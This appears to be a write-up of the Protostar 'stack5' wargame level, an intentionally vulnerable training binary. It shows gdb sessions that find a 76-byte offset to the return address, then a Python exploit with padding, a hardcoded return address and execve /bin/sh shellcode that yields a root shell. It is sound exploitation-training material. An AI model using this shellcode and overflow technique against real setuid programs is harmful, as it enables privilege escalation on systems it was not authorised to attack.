

A close-up, slightly angled view of a laptop screen. The screen shows a code editor with a dark background and colorful syntax-highlighted text. The code appears to be a configuration or a script, with various keywords and values visible. A small, semi-transparent window or tooltip is visible in the upper left corner of the editor. A prominent red rectangular banner is overlaid across the middle of the screen, containing the text 'PROTOSTAR : STACK 5' in white, bold, sans-serif capital letters. The laptop's keyboard is partially visible at the bottom, and a person's hand is seen typing on it. The overall lighting is dim, with the screen being the primary light source.

PROTOSTAR : STACK 5

```
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push    ebp
0x080483c5 <main+1>:    mov     ebp,esp
0x080483c7 <main+3>:    and     esp,0xffffffff
0x080483ca <main+6>:    sub     esp,0x50
0x080483cd <main+9>:    lea     eax,[esp+0x10]
0x080483d1 <main+13>:   mov     DWORD PTR [esp],eax
0x080483d4 <main+16>:   call    0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) █
```

```

user@protostar:/tmp$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push    ebp
0x080483c5 <main+1>:    mov     ebp,esp
0x080483c7 <main+3>:    and     esp,0xfffffffff0
0x080483ca <main+6>:    sub     esp,0x50
0x080483cd <main+9>:    lea     eax,[esp+0x10]
0x080483d1 <main+13>:   mov     DWORD PTR [esp],eax
0x080483d4 <main+16>:   call    0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b *0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
test

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
      in stack5/stack5.c
(gdb) x/30x $esp
0xbffff760:    0xbffff770      0xb7ec6165      0xbffff778      0xb7eada75
0xbffff770:    0x74736574      0x08049500      0xbffff788      0x080482c4
0xbffff780:    0xb7ff1040      0x0804958c      0xbffff7b8      0x08048409
0xbffff790:    0xb7fd8304      0xb7fd7ff4      0x080483f0      0xbffff7b8
0xbffff7a0:    0xb7ec6365      0xb7ff1040      0x080483fb      0xb7fd7ff4
0xbffff7b0:    0x080483f0      0x00000000      0xbffff838      0xb7eadc76
0xbffff7c0:    0x00000001      0xbffff864      0xbffff86c      0xb7fe1848
0xbffff7d0:    0xbffff820      0xffffffff
(gdb) x/2x $ebp
0xbffff7b8:    0xbffff838      0xb7eadc76
(gdb) x/s $esp+0x10
0xbffff770:    "test"
(gdb) p/d 0xbffff7bc-0xbffff770
$1 = 76
(gdb) █

```

```

(gdb) b *0x080483da
Breakpoint 1 at 0x080483da: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
test

Breakpoint 1, 0x080483da in main (argc=134513604, argv=0x1) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) i r
eax                0xbffff770          -1073744016
ecx                0xbffff770          -1073744016
edx                0xb7fd9334          -1208118476
ebx                0xb7fd7ff4          -1208123404
esp                0xbffff7bc          0xbffff7bc
ebp                0xbffff838          0xbffff838
esi                0x0                0
edi                0x0                0
eip                0x080483da          0x080483da <main+22>
eflags             0x200246 [ PF ZF IF ID ]
cs                 0x73                115
ss                 0x7b                123
ds                 0x7b                123
es                 0x7b                123
fs                 0x0                0
gs                 0x33                51
(gdb) si
__libc_start_main (main=0x080483c4 <main>, argc=1, ubp_av=0xbffff864,
    init=0x080483f0 <__libc_csu_init>, fini=0x080483e0 <__libc_csu_fini>,
    rtdl_fini=0xb77ff1040 <_dl_fini>, stack_end=0xbffff85c) at libc-start.c:260
260      libc-start.c: No such file or directory.
    in libc-start.c
(gdb) i r
eax                0xbffff770          -1073744016
ecx                0xbffff770          -1073744016
edx                0xb7fd9334          -1208118476
ebx                0xb7fd7ff4          -1208123404
esp                0xbffff7c0          0xbffff7c0
ebp                0xbffff838          0xbffff838
esi                0x0                0
edi                0x0                0
eip                0xb7eadc76          0xb7eadc76 <__libc_start_main+230>
eflags             0x210246 [ PF ZF IF RF ID ]
cs                 0x73                115
ss                 0x7b                123
ds                 0x7b                123

```



```
#padding = 76
```

```
#eip = 0xbffff7c0
```

```
padding = "A"*76
```

```
eip = "\xc0\xf7\xff\xbf"
```

```
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

```
print(padding + eip + shellcode)
```

```
█
```

```
^G Get Help  
^X Exit
```

```
^O WriteOut  
^J Justify
```

```
^R Read File  
^W Where Is
```

```
^Y Prev Page  
^V Next Page
```

```
^K Cut Text  
^U UnCut Text
```

```
^C Cur Pos  
^T To Spell
```

```
user@protostar:/tmp$ (python exploit5.py; cat) | /opt/protostar/bin/stack5  
whoami  
root  
uname -a  
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux  
pwd  
/tmp
```

